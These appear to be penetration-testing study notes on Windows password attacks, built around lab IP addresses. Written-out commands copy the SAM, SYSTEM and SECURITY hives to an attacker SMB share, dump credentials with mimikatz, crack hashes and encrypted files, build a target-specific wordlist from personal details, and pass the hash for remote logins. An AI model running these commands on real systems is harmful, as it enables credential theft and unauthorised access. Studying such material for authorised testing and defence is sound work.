Windows Password Attacks
Registry Hives
- HKLM\SAM - hashes for local user accounts
- HKLM\SYSTEM - system boot key req'd to decrypt SAM database
- HKLM\SECURITY - sensitive info used by LSA, including cached domain creds (DCC2), cleartext passwords, DPAPI keys and more
- DCC2 can be cracked with hashcat -m 2100, MUCH slower
-DPAPI are blobs used by various os / 3rd parties to encrypt/decrypt data on a per-user basis
- one example is dpapi::chrome, which contains the keys to decrypt the chrome password store
# on victim
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
# on attack box
$ impacket-smbserver -smb2support CompData /home/kali/Documents
# on victim
C:\> move sam.save \\10.10.15.16\CompData
C:\> move system.save \\10.10.15.16\CompData
C:\> move security.save \\10.10.15.16\CompData
# on attack box
$ impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
Password Dumping
# launch mimikatz
> mimikatz.exe
# check privs
mimikatz > privilege::debug
# dump creds from memory
mimikatz > sekurlsa::credman
# dump creds from credential vault
mimikatz > vault::cred
Password Cracking
If password hashes are retrieved from a service, there are various tools that can be used to crack the hash offline. This prevents triggering any account lockout mechanisms.
Sometimes dictionary attacks aren't enough, which requires you to use rules to transform the wordlist dynamically such as changing letters to numbers or adding numbers to the end.
# see list of all options with hash types
$ hashcat -hh
# identify the hash type with hashcat format
$ hashid -m 193069ceb0461e1d40d216e32c79c704
# see list of all hash options, with example hashes (can be saved to script for easy use)
# can also be piped to grep to find a specific mode and example
$ hashcat --example-hashes | awk '/^Hash mode #/ { mode=$3 } /^[[:space:]]*Name\./ { name=$2 } /^[[:space:]]*Example\.Hash\./ && !/Format/ { print mode, name, $2 } ' | column -t -s ' ' -o ' | '
# dictionary attack against a netscaler hash
$ hashcat --m5700 netscaler.txt /usr/share/wordlists/rockyou.txt
# see available rules for modification
$ ls -l /usr/share/hashcat/rules
# dictionary attack with rule modifier
$ hashcat --m5700 netscaler.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Another useful tool for password cracking is JohnTheRipper
# useful for linux passwd files. Uses information found in the string such as address, lastname, dob.etc
$ john --single passwd
# identify the hash type with johntheripper format
$ hashid -j 193069ceb0461e1d40d216e32c79c704
# use a mask to find a password starting with uppdercase letter, 4 lowercase, a number and a symbol
# ex: Anxul5!
$ hashcat -a 3 -m 0 1e293d6912d074c0fd15844d803400dd '?u?l?l?l?l?d?s'
# locate scripts to take a password hash to decrypt
$ locate *2john*
# take an encrypted office file to get a hash
$ office2john.py Protected.docx > protected-docx.hash
# take an encrypted pdf to get a hash
$ pdf2john.py PDF.pdf > pdf.hash
# take the file's hash and crack it
$ john --wordlist=rockyou.txt protected-docx.hash
# show the cracked hash
$ john protected-docx.hash --show
# take a bitlocker-encrypted disk and pull hashes
$ bitlocker2john.py Backup.vhd > backup.hashes
# pull the specific bitlocker hash for john to crack
$ grep "bitlocker\$0" backup.hashes > backup.hash
# crack hash
$ john --wordlist=rockyou.txt backup.hash
# create folder for mount
$ sudo mkdir -p /media/bitlocker
$ sudo mkdir -p /media/bitlockermount
# add VHD as loop device
$ sudo losetup -f -P Backup.vhd
# view the loop id
$ losetup
NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC
/dev/loop0 0 0 0 0 /home/kali/Downloads/Private.vhd 0 512
# decrypt
$ sudo dislocker /dev/loop0 --user-password="password" -- /media/bitlocker
$ sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount
# browse
$ cd /media/bitlockermount
# unmount
$ sudo umount /media/bitlockermount
$ sudo umount /media/bitlocker
Utilize OSINT to gather information about a specific target that can be used to build a custom wordlist / ruleset to attempt.
For example, we have the password hash for a user Mark White, DOB 08/05/1998; employed at Nexura Ltd; lives in San Francisco, CA; has a pet cat named Bella; a wife named Maria; a son named Alex; and is a big fan of baseball. We also know the company's password policy requires passwords to be at least 12 characters long, to contain at least one uppercase letter, at least one lowercase letter, at least one symbol and at least one number. We can use all of this information for a wordlist and rule.
$ cat mark_word
Mark
White
MarkWhite
August
Nexura
Sanfrancisco
Francisco
Bella
BellaWhite
Maria
MariaWhite
Alex
White
Baseball
$ cat mark_rules
:
c
C
t
so0
sa@
se3
ss$
$0$8$0$5
$1$9$9$8
$0$8$0$5$!
$1$9$9$8$!
$ hashcat -a 0 -m 0 97268a8ae45ac7d15c3cea4ce6ea550b mark_word -r mark_rules
...
97268a8ae45ac7d15c3cea4ce6ea550b:Baseball1998!
Session..........: hashcat
Status...........: Cracked
...
Active Directory specific password cracking can be found here
Pass The Hash
See Active Directory - Pass the Hash
# PtH with impacket
$ impacket-psexec [email protected] -hashes :30B3783CE2ABF1AF70F77D0660CF3453
# PtH with netexec (nxc)
$ netexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
# PtH with evil-winrm
$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453